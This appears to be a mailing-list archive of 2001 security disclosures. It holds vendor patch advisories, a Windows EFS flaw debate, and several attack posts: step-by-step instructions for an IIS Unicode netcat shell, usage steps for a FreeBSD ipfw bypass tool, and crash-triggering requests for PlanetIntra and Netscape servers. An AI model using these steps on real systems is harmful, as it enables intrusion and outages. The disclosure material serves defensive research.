shell on IIS server with Unicode using *only* HTTP
(assumes an IIS server vulnerable for the Unicode bug) Tarball contains two PERL scripts: 1. Unicode upload creator (unicodeloader.pl) Works like this - two files (upload.asp and upload.inc - have them in the same dir as the PERL script) are build in the webroot (or anywhere else) using echo and some conversion strings. These files allows you to upload any file by simply surfing with a browser to the server. Typical use: (5 easy steps to a shell) 1. Find the webroot (duh) 2. perl unicodeloader target:80 'webroot' 3. surf to target/upload.asp and upload nc.exe 4. perl unicodexecute3.pl target:80 'webroot/nc -l -p 80 -e cmd.exe' 5. telnet target 80 Above procedure will drop you into a shell on the box without crashing the server (*winks at Eeye*). This procedure is nice for servers that are very tightly firewalled; servers that are not allowed to FTP, RCP or TFTP to the Internet. 2. Unicodexecute version3 (unicodexecute3.pl) same as before plus -includes searches for alternative executable dirs -more robust, stable than before -checks for access denied etc. added Regards, Roelof. -- Roelof W Temmingh SensePost IT security [EMAIL PROTECTED]+27 83 448 6996 http://www.sensepost.com unitools.tgz
Re: iPlanet FastTrack/Enterprise 4.1 DoS clarifications
3) The note about Service Pack levels for iPlanet Enterprise 4.1 in Peter Gruendl's "Netscape Enterprise Server Dot-Dot DoS" was somewhat confusing. The iPlanet URL he refers to correctly states that the latest supported iPlanet Web servers[0] are 4.0sp6 and 4.1sp5. 4.1sp6 has not been released or officially announced by iPlanet. To clarify on the note. I was told, by Netscape, that they could not reproduce the flaw that was found in their webserver, and that I would be better off installing Service Pack 6 for IWS4.1 (aka. Netscape Enterprise Server 4.1). They later admitted, that their testing was solely performed on Solaris and that two different people wrote the letter to me. Obviously one of them doesn't know which patch levels their own products are at. Later again, I got another email stating that they couldn't reproduce on Windows NT 4.0, SP6a. The reason I released it, even if the vendor has not been able to reproduce, is that we CAN reproduce this. It works on whatever Windows NT-based computer we install it on. We have tried Windows NT 4.0, SP6a, Windows 2000 Professional, Windows 2000 Server with or without SP1. They all crash in exactly the same way. The performed installation is a "next-next-finish" of the web server downloaded from the following location: http://www.iplanet.com/downloads/download/2011.html (that being the Windows NT version). To spell it out: Iplanet (Sun + Netscape) has not admitted that their product is flawed in any way, and as such they have not released any fix for the problem. Thus, it is very unlikely that the issue will be fixed in SP6 (when that is released). On the other hand, older versions does not appear to suffer from the same defect, so maybe they will (unknowningly) code their way out of it again? [0] All Netscape-branded Web server products, including Netscape Enterprise 3.6, have officially passed their end-of-life dates and are no longer supported. Where on earth did you get that? Try looking at the HTTP Server header for www.netscape.com :) Just because they label the web server Iplanet Web Server on the outside of the shiny box, doesn't mean the guts got any shinier. It's still NES and I can promise you V4.1SP5 is a supported version. Peter Grndl Defcom Security
[RHSA-2000:136-10] Updated PHP packages available for Red Hat Linux 5.2, 6.x, and 7
- Red Hat, Inc. Red Hat Security Advisory Synopsis: Updated PHP packages available for Red Hat Linux 5.2, 6.x, and 7 Advisory ID: RHSA-2000:136-10 Issue date:2000-12-20 Updated on:2001-01-24 Product: Red Hat Linux Keywords: php multipart gd engine Cross references: RHSA-2000:88 RHBA-2000:112 Obsoletes: - 1. Topic: Updated PHP packages are now available for Red Hat Linux 5.2, 6.x, and 7. 2. Relevant releases/architectures: Red Hat Linux 5.2 - alpha, i386, sparc Red Hat Linux 6.0 - i386, sparc Red Hat Linux 6.1 - alpha, i386, sparc Red Hat Linux 6.2 - alpha, i386, sparc Red Hat Linux 7.0 - alpha, i386 3. Problem description: Clients uploading "multipart/form-data" information with form requests could cause PHP 3.0.17 to crash. The GD module was not compiled into the previously-issued PHP 4.0.3pl1 errata packages. The php-mysql package is linked against an older version of the libmysqlclient shared library, which was obsoleted by a previous MySQL errata. Security holes in versions 4.0.0 through 4.0.4 of the PHP Apache module have been found. 4. Solution: Because of dependencies, the packages must be installed as a group. After downloading all RPMs needed for your particular architecture, run: rpm -Fvh php* Then restart your web server: /etc/rc.d/init.d/httpd restart 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 19906 - PHP 3.0.17-1.6.2 crashes apache reproducable 21291 - php should be rebuild on new environment 21620 - configure option --enable-wddx not used 21664 - updated redhat 7 PHP rpm's broken 22376 - php-4.0.3pl1 from 7.0 errata fails to install gd.so ld 23690 - php-mysql needs rebuild in light of mysql-3.23.29-1 23902 - PHP4.0.4pl1 solve 2 security problems 6. RPMs required: Red Hat Linux 5.2: SRPMS: ftp://updates.redhat.com/5.2/SRPMS/php-3.0.18-1.5.x.src.rpm alpha: ftp://updates.redhat.com/5.2/alpha/php-3.0.18-1.5.x.alpha.rpm ftp://updates.redhat.com/5.2/alpha/php-manual-3.0.18-1.5.x.alpha.rpm ftp://updates.redhat.com/5.2/alpha/php-pgsql-3.0.18-1.5.x.alpha.rpm i386: ftp://updates.redhat.com/5.2/i386/php-3.0.18-1.5.x.i386.rpm ftp://updates.redhat.com/5.2/i386/php-manual-3.0.18-1.5.x.i386.rpm ftp://updates.redhat.com/5.2/i386/php-pgsql-3.0.18-1.5.x.i386.rpm sparc: ftp://updates.redhat.com/5.2/sparc/php-3.0.18-1.5.x.sparc.rpm ftp://updates.redhat.com/5.2/sparc/php-manual-3.0.18-1.5.x.sparc.rpm ftp://updates.redhat.com/5.2/sparc/php-pgsql-3.0.18-1.5.x.sparc.rpm Red Hat Linux 6.0: SRPMS: ftp://updates.redhat.com/6.0/SRPMS/php-3.0.18-1.6.x.src.rpm i386: ftp://updates.redhat.com/6.0/i386/php-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.0/i386/php-imap-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.0/i386/php-ldap-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.0/i386/php-manual-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.0/i386/php-pgsql-3.0.18-1.6.x.i386.rpm sparc: ftp://updates.redhat.com/6.0/sparc/php-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.0/sparc/php-imap-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.0/sparc/php-ldap-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.0/sparc/php-manual-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.0/sparc/php-pgsql-3.0.18-1.6.x.sparc.rpm Red Hat Linux 6.1: SRPMS: ftp://updates.redhat.com/6.1/SRPMS/php-3.0.18-1.6.x.src.rpm alpha: ftp://updates.redhat.com/6.1/alpha/php-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.1/alpha/php-imap-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.1/alpha/php-ldap-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.1/alpha/php-manual-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.1/alpha/php-pgsql-3.0.18-1.6.x.alpha.rpm i386: ftp://updates.redhat.com/6.1/i386/php-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.1/i386/php-imap-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.1/i386/php-ldap-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.1/i386/php-manual-3.0.18-1.6.x.i386.rpm ftp://updates.redhat.com/6.1/i386/php-pgsql-3.0.18-1.6.x.i386.rpm sparc: ftp://updates.redhat.com/6.1/sparc/php-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.1/sparc/php-imap-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.1/sparc/php-ldap-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.1/sparc/php-manual-3.0.18-1.6.x.sparc.rpm ftp://updates.redhat.com/6.1/sparc/php-pgsql-3.0.18-1.6.x.sparc.rpm Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/SRPMS/php-3.0.18-1.6.x.src.rpm alpha: ftp://updates.redhat.com/6.2/alpha/php-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.2/alpha/php-imap-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.2/alpha/php-ldap-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.2/alpha/php-manual-3.0.18-1.6.x.alpha.rpm ftp://updates.redhat.com/6.2/alpha/php-pgsql-3.0.18-1.6.x.alpha.rpm i386:
Security update: CSSA-2001-007.0 glibc security problems
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 __ Caldera Systems, Inc. Security Advisory Subject:glibc security problems Advisory number:CSSA-2001-007.0 Issue date: 2001 January, 23 Cross reference: __ 1. Problem Description The ELF shared library loader that is part of glibc supports the LD_PRELOAD environment variable that lets a user request that additional shared libraries should be loaded when starting a program. Normally, this feature should be disabled for setuid applications because of its security implications. However, the loader from glibc 2.1.1 and 2.1.3 will honor this variable even in setuid applications as long as it doesn't contain a slash. As a result, a user can ask that arbitrary libraries from ``system'' directories can be loaded (i.e. from those directories listed in /etc/ld.so.conf). This is a serious security problem and can be exploited to overwrite arbitrary files on the system, for instance. 2. Vulnerable Versions System Package --- OpenLinux 2.3All packages previous to glibc-2.1.3-6OL OpenLinux eServer 2.3.1 All packages previous to and OpenLinux eBuilder glibc-2.1.3-6S OpenLinux eDesktop 2.4 All packages previous to glibc-2.1.3-6 3. Solution Workaround none The proper solution is to upgrade to the latest packages. 4. OpenLinux 2.3 4.1 Location of Fixed Packages The upgrade packages can be found on Caldera's FTP site at: ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/ The corresponding source code package can be found at: ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS 4.2 Verification 9dc46298c12e4ce5878c449477c8eaaf RPMS/glibc-2.1.3-6OL.i386.rpm 314e8df8a22a8a91ebcec87458256631 RPMS/glibc-devel-2.1.3-6OL.i386.rpm 1abc6e241431080fd8518537c2bfe05c RPMS/glibc-devel-static-2.1.3-6OL.i386.rpm 0417ac3f91cdb70844cdcfccfa002df2 RPMS/glibc-localedata-2.1.3-6OL.i386.rpm a20d073239a2954eae0e309b904ddf8b SRPMS/glibc-2.1.3-6OL.src.rpm 4.3 Installing Fixed Packages Upgrade the affected packages with the following commands: rpm -Fhv glibc-*i386.rpm 5. OpenLinux eServer 2.3.1 and OpenLinux eBuilder for ECential 3.0 5.1 Location of Fixed Packages The upgrade packages can be found on Caldera's FTP site at: ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/ The corresponding source code package can be found at: ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS 5.2 Verification d39b9c6ac5ac1df9e80697378523c5f6 RPMS/glibc-2.1.3-6S.i386.rpm e7b5b186cf417d85019cdc8ae4ecd5b7 RPMS/glibc-devel-2.1.3-6S.i386.rpm a27c78c47fa17828371af34acafc3116 RPMS/glibc-devel-static-2.1.3-6S.i386.rpm 02119c37b969a3542902d71c6928509d RPMS/glibc-localedata-2.1.3-6S.i386.rpm b73f5ccb9f77285ee015f04b03d3aeed SRPMS/glibc-2.1.3-6S.src.rpm 5.3 Installing Fixed Packages Upgrade the affected packages with the following commands: rpm -Fvh glibc-*i386.rpm 6. OpenLinux eDesktop 2.4 6.1 Location of Fixed Packages The upgrade packages can be found on Caldera's FTP site at: ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/ The corresponding source code package can be found at: ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS 6.2 Verification a858ce863ee8dccaadb68e5be00a9d20 RPMS/glibc-2.1.3-6.i386.rpm e92757ff035c8d951667f10b710fa176 RPMS/glibc-devel-2.1.3-6.i386.rpm deb77710633dfc7adc464eef059c7b09 RPMS/glibc-devel-static-2.1.3-6.i386.rpm 2595931b57b6d7023cfdf8216eb33deb RPMS/glibc-localedata-2.1.3-6.i386.rpm 050f35604750f406d952bca68ceb128e SRPMS/glibc-2.1.3-6.src.rpm 6.3 Installing Fixed Packages Upgrade the affected packages with the following commands: rpm -Fvh glibc-*i386.rpm 7. References This and other Caldera security resources are located at: http://www.calderasystems.com/support/security/index.html This security fix closes Caldera's internal Problem Report 8730. 8. Disclaimer Caldera Systems, Inc. is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of Caldera OpenLinux. 9. Acknowledgements Caldera Systems, Inc. wishes to thank the people at Wirex, and Solar Designer, for their input.
Re: BugTraq: EFS Win 2000 flaw
- Original Message - From: "Dan Kaminsky" [EMAIL PROTECTED] snip If you ask me, the user interface itself is the most important documentation--it's the only thing that, if it's incorrect, is *guaranteed* to lead to the wrong thing being done. You mean like the ISO software running on your routers? Example: the access-list logic is different when a crypto map is applied to a sub interface and matched to the access-list ID; the 'permit' statement no longer really means 'permit' in its original context. There is no warning of this in the user interface at all. Your engineers expect that I have at least done a little research before using encryption on a Cisco router, or it will not work. It's not that the interface gives me incorrect information, it gives me none at all. Of course, I really don't expect you warn me at every turn because you can't. The users have to take a little responsibility for the way they do things, even if they don't want to. I think my real problem with people running to the docs is that, quite frankly, the *reason* for something to be recommended is *critical*. Running to the docs? Come on, man- all anyone has to do is a simple Start-Help-"File Encryption" and they get plenty of information on what to do and what not to do. It's not like we are talking about doing hours of research to uncover the hidden truth about temp file creation. The simple point is that recommended procedures obviate the issue in this case. That's that. Microsoft is very clear about the propensity for files, even temp ones, to be written in the clear in other circumstances. MS is failing to overwrite, even once, either the original file or the .tmp file that EFS creates. That's a bug. I never said it wasn't a bug, though I am still out on that (and sorry about spelling 'perceived' incorrectly in my response). I am saying it is not a major security issue. That is the skinny on that. - Attonbitus Deus [EMAIL PROTECTED]
ecepass - proof of concept code for FreeBSD ipfw bypass
An all ZA production...;) FreeBSD ipfw+ECE proof of concept code -- Code written by: Plathond ([EMAIL PROTECTED]) for Sensepost (http://www.sensepost.com, [EMAIL PROTECTED]) More info on the problem: http://packetstorm.securify.com/advisories/freebsd/FreeBSD-SA-01:08.ipfw Original problem found by: Aragon Gouveia [EMAIL PROTECTED] How it works: - Using FreeBSD divert rule, all outgoing traffic (or as specified in ipfw rule) will be diverted to the ecepass process - the ECE flag will be added. Traffic directed to hosts behind ipfw-based firewall will be passed, rendering the firewall useless if it makes use of the "allow all from any to any established" rule. Tried tested... How to use: --- 1. Make sure your kernel is compiled with the following options: options IPDIVERT options IPFIREWALL 2. gcc -o ecepass ecepass.c 3. ./ecepass 4. ipfw add 5 divert 7000 tcp from any to any 5. All TCP traffic will now have the ECE flag added to it. PS1: obviously you need to make sure that the last ipfw rule allows traffic e.g.: 1 divert 7000 tcp from any to any 65535 allow ip from any to any PS2: as the exploit uses "ipfw divert" it only works on FreeBSD. Ironic eh? spidermark: sensepostdata ece Regards, Roelof. -- Roelof W Temmingh SensePost IT security [EMAIL PROTECTED]+27 83 448 6996 http://www.sensepost.com ecepass.tgz
[SAFER] Security Bulletin 010125.EXP.1.12
__ S.A.F.E.R. Security Bulletin 010125.EXP.1.12 __ TITLE: PlanetIntra - Buffer Overflow DATE : January 25, 2001 NATURE : Remote execution of code AFFECTED : PlanetIntra v2.5 software PROBLEM: A buffer overflow exists in PlanetIntra software that allows remote execution of code. DETAILS: A buffer overflow (at least one, possibly more) exists in 'pi' binary which allows remote user to execute commands on the target system. For example, request like: GET /cgi-bin/pi?page=document/show_fileid=A x 10024 will trigger the overflow. EXPLOIT: Exploit will be released in 2 weeks (this is subject to change). FIXES: We are aware that patch for this issue has been made, but we have never received official response/confirmation, and we are not aware if the current version available for download ( http://www.planetintra.com ) is vulnerable to this problem. CREDITS: Fyodor Yarochkin [EMAIL PROTECTED] This advisory is also available at http://www.safermag.com/advisories/ __ S.A.F.E.R. - Security Alert For Enterprise Resources Copyright (c) 2001 The Relay Group http://www.safermag.com [EMAIL PROTECTED] __
[SAFER] Security Bulletin 010125.DOS.1.5
__ S.A.F.E.R. Security Bulletin 010125.DOS.1.5 __ TITLE: Netscape Enterprise Server - REVLOG request problem DATE : January 25, 2001 NATURE : Denial-of-Service AFFECTED : Netscape Enterprise Server 3.x with Web Publishing enabled PROBLEM: Problems exists that allows remote user to crash Netscape Enterprise Server. DETAILS: It is possible to crash Netscape Enterprise Server by issuing: REVLOG / HTTP/1.0 Request might be repeated few times in order to crash NES completely. FIXES: Netscape has been contacted on multiple occasions. First time, more than a year ago. Although other problems we have reported have been fixed, we have received no response for this issue - to date. Workaround is to disable Web Publishing, or disable REVLOG request. CREDITS: Vanja Hrustic [EMAIL PROTECTED] Fyodor Yarochkin [EMAIL PROTECTED] Emmanuel Gadaix [EMAIL PROTECTED] This advisory is also available at http://www.safermag.com/advisories/ __ S.A.F.E.R. - Security Alert For Enterprise Resources Copyright (c) 2001 The Relay Group http://www.safermag.com [EMAIL PROTECTED] __
Re: BugTraq: EFS Win 2000 flaw
[EMAIL PROTECTED] wrote: Recommended EFS procedures call for the encryption of a direcory, not file-by-file as the procedure indicated by Berglind suggests. If you copy an unencrypted file and paste it into an encrypted directory, the file and the temporary file are both encrypted. This is in a way true, but unfortunaly not the solution to this problem. Many people have suggested that encrypting the folder would solve the issue, but let us look at some short scenarios. You have an encrypted folder and you copy a file from somewhere on your partitions to this folder. Result: no efs0.tmp will be created and left behind, which might look good. The reason for this is the efs0.tmp is only a backup file, which makes the file recoverable if the power should go during encryption, and is used as the "original" when the encrypted version of the file is created. When you copy a file there obviously exists a "original" file and no efs0.tmp is needed. The problem is when you later deletes the first file - it will very much exist on the surface of the disk - readable for anyone with a disk editor. Result: plain text version remains on disk. If you move a file to the encrypted folder from the same partition there is only one file and no original which could be used as backup file. In this case a efs0.tmp will be created and left on disk. Result: plain text version remains on disk. If you move a file to the encrypted folder from a different partition no efs0.tmp will be created. The reason for this is that a move operation between partitions is really a copy and later a delete of the first file. In this case a original exist and no efs0.tmp will be created. But the file on the first partition will be deleted as always - i.e. not removed from the sectors. Result: plain text version remains on disk. The only way to not leave any plain text behind you is to create an encrypted folder and create every file there - from the very beginning. This might be fine, but it also gives the following: any file which have been located on your hard disk before you start using EFS could never be safe even after encryption. regards, Rickard Berglind
Re: BugTraq: EFS Win 2000 flaw
Scott Culp, Security Program Manager wrote : While EFS does indeed work as Rickard discusses, this is not new information. For instance, "Encrypting File System for Windows 2000" (http://www.microsoft.com/WINDOWS2000/library/howitworks/security/encr ypt.asp, p 22) notes the following: Since this white paper repeatedly stated that EFS will guard user's data against attackers with physical access to the disk it might seem a little strange to deliberately leave data in plain text. With all respect, personally I am not sure if the fact that you did know about this behaviour makes anything better or worse. From the same white paper, same page as noted earlier: "An individual with physical access to the machine could potentially attempt sophisticated attacks by going to the disk directly. Attempts to read the data this way will fail because it is encrypted" This is obviously not the entire truth because it only addresses the encrypted file, which I am sure, is hard to gain access to. For a programming layman it seems like a minor problem to include code to properly overwrite the old file. For your information: I did write to Microsoft both in Sweden and in the US about one month ago and reporting what I found, but have not yet received any response. Perhaps because this fact was known and expected. regards, Rickard Berglind
iWS/NES SHTML Overflow (exploit)
Attached is 'slightly obfuscated' exploit for the buffer overflow in Netscape Enterprise Server (iPlanet Web Server) 4.0 and 4.1 (up to SP4), for which the advisory has been released earlier ( http://www.safermag.com/advisories/0010.html ). Exploit has been tested on SunOS 5.7 (Sparc) and NES 4.0 NOTE: We will ignore *ANY* mails with request for help related to this exploit. Author of the exploit is Fyodor Yarochkin [EMAIL PROTECTED] __ S.A.F.E.R. - Security Alert For Enterprise Resources Copyright (c) 2001 The Relay Group http://www.safermag.com [EMAIL PROTECTED] __ ns-shtml.pl
Re: BugTraq: EFS Win 2000 flaw
When I got to Start-Help-"File Encryption", it does tell me that I should encrypt the folder and the file, but does not tell me that I should never have created the file in an unencrypted state to begin with. So, to get the MS-recommended procedure, you do have to run to the docs (or Bugtraq). Hmmm. I noticed that the docs also fail to notify me that if I printed out copies of my previously unencrypted files, that the print-outs are not automatically converted with the file. Should they also explicitly point out that if I save a piece of text from an email and encrypt it, that the original email is not automatically destroyed? The fate of original plain text copies of documents we choose to subsequently encrypt is absolutely the responsibility of the user. This thread has mutated into a different being from the original issue, which is that if an unencrypted file outside an encrypted directory is encrypted in said unencrypted directory, that the .tmp file created in the unencrypted dir and subsequently deleted is not then securely wiped. So, yes, if one did encrypt a file in this manner, AND someone breaks in and rips off your hard drive, AND they don't figure out your password is "#BrittanySpears" AND you have correctly removed the restore cert AND the data has not been overwritten AND they decide to go through a sector-by-sector scan of your drives then they MAY actually see little bits of text here and there alluding the to secret hiding place of your porno collection. As Dan Kaminski said, MS may actually add a wipe function to the crypto procedure, but I'm not holding my breath. Like any potentially complex technology, find out what you are doing before you jump in, and don't expect a dialog box to pop up warning you of the consequences of every conceivable circumstance, and don't expect Microsoft to have someone walk behind you with a giant pooper-scooper. Now, all that being said, I would like to point out that I do not intend to belittle Rickard's find in and of itself- I simply exert, as if my opinion really means anything, that it is not a major security issue. I find the issue itself fascinating, and it is something that I would not have ever discovered on my own. Rickard, Ryan, Dan, and others have lead many of us to more deeply explore EFS, and that is a good thing. I even learned a new acronym "RTFM," which I initially thought was a disparaging remark towards my mother. Whew. I'm done now. AD
Re: BugTraq: EFS Win 2000 flaw
-Original Message- From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of Attonbitus Deus Sent: Thursday, January 25, 2001 1:26 AM To: [EMAIL PROTECTED] Subject: Re: BugTraq: EFS Win 2000 flaw snip Running to the docs? Come on, man- all anyone has to do is a simple Start-Help-"File Encryption" and they get plenty of information on what to do and what not to do. It's not like we are talking about doing hours of research to uncover the hidden truth about temp file creation. The simple point is that recommended procedures obviate the issue in this case. That's that. Microsoft is very clear about the propensity for files, even temp ones, to be written in the clear in other circumstances. When I got to Start-Help-"File Encryption", it does tell me that I should encrypt the folder and the file, but does not tell me that I should never have created the file in an unencrypted state to begin with. So, to get the MS-recommended procedure, you do have to run to the docs (or Bugtraq). I would also note that Microsoft's MCSE study guide for Windows 2000 Professional does recommend using encrypted folders, but does not explain why (at least, not with reference to the issue at hand). Nor does it explain that what you want to do is to encrypt the folder, and then create new files within it; the reader could easily assume that if they start with an encrypted folder, and then move unencrypted files to that folder, they have followed MS recommendations. My $.02 Kirk Kirk Corey, MCP, CCNA Manager, Information Technologies Diversified Software Industries, Inc. [EMAIL PROTECTED] http://www.dsi-inc.net/
[CLA-2001:374] Conectiva Linux Security Announcement - icecast
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- CONECTIVA LINUX SECURITY ANNOUNCEMENT - -- PACKAGE : icecast SUMMARY : Remote root exploit DATE : 2001-01-25 13:58:00 ID: CLA-2001:374 RELEVANT RELEASES : 4.1, 4.2, 5.0, 5.1, 6.0 - - DESCRIPTION "icecast" is a server used to distribute audio streams to compatible clients such as winamp, mpg123, xmms and many others. The "Packet Knights" group has found a format string vulnerability on this program that could be used to remotely execute arbitrary code on the server with the privileges of the user running it, normally root. This can lead to remote root compromise. SOLUTION It is recommended that all icecast users upgrade their servers. The new packages fix this problem and also provide some new features: - the icecast daemon now runs as the unprivileged user "icecast" and not root; - it is not possible to start the server if the default password has not been changed; - remote web administration has been turned off by default. DIRECT DOWNLOAD LINKS TO THE UPDATED PACKAGES ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/icecast-1.3.7-4cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/icecast-1.3.7-4cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/icecast-1.3.7-4cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/icecast-1.3.7-4cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/icecast-1.3.7-4cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/icecast-1.3.7-4cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/icecast-1.3.7-4cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/icecast-1.3.7-4cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/icecast-1.3.7-3cl.src.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/icecast-1.3.7-3cl.i386.rpm ADDITIONAL INSTRUCTIONS Users of Conectiva Linux version 6.0 or higher may use apt to perform upgrades: - add the following line to /etc/apt/sources.list if it is not there yet (you may also use linuxconf to do this): rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates - run: apt-get update - after that, execute: apt-get upgrade Detailed instructions reagarding the use of apt and upgrade examples can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en - - All packages are signed with Conectiva's GPG key. The key and instructions on how to import it can be found at http://distro.conectiva.com.br/seguranca/chave/?idioma=en Instructions on how to check the signatures of the RPM packages can be found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en - - All our advisories and generic update instructions can be viewed at http://www.conectiva.com.br/suporte/atualizacoes - - subscribe: [EMAIL PROTECTED] unsubscribe: [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6cE0/42jd0JmAcZARAnTXAJ45OkCe11YSpXE83MTrFnzQboTm+gCgvDE/ ePpvbDc0eKvYnpIDLjCecpk= =jJzG -END PGP SIGNATURE-
[CLA-2001:375] Conectiva Linux Security Announcement - MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- CONECTIVA LINUX SECURITY ANNOUNCEMENT - -- PACKAGE : MySQL SUMMARY : Remote exploit DATE : 2001-01-25 15:38:00 ID: CLA-2001:375 RELEVANT RELEASES : 4.0, 4.0es, 4.1, 4.2, 5.0, 5.1, 6.0 - - DESCRIPTION MySQL is a very popular database. Versions older than 3.23.31 have a buffer overflow vulnerability that could be exploited remotely depending on how the database access is configured (via web, for example). SOLUTION It is recommended that all MySQL users update their packages immediately. Older versions of Conectiva Linux ran the mysqld daemon as root. This update changes that behaviour for these older versions so that the daemon now runs as the "mysql" user instead of root. CL6.0 already has this feature. Users upgrading older versions should check the /var/lib/mysql directory for permissions for the mysql user. Usually, a "chown -R mysql.mysql /var/lib/mysql" should be enough. Also, programs using the dynamic library of MySQL should be recompiled after this update. DIRECT DOWNLOAD LINKS TO THE UPDATED PACKAGES ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/MySQL-bench-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/MySQL-bench-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/MySQL-bench-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/MySQL-bench-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/MySQL-bench-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/MySQL-3.23.32-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/MySQL-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/MySQL-client-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/MySQL-devel-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/MySQL-devel-static-3.23.32-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/MySQL-bench-3.23.32-2cl.i386.rpm 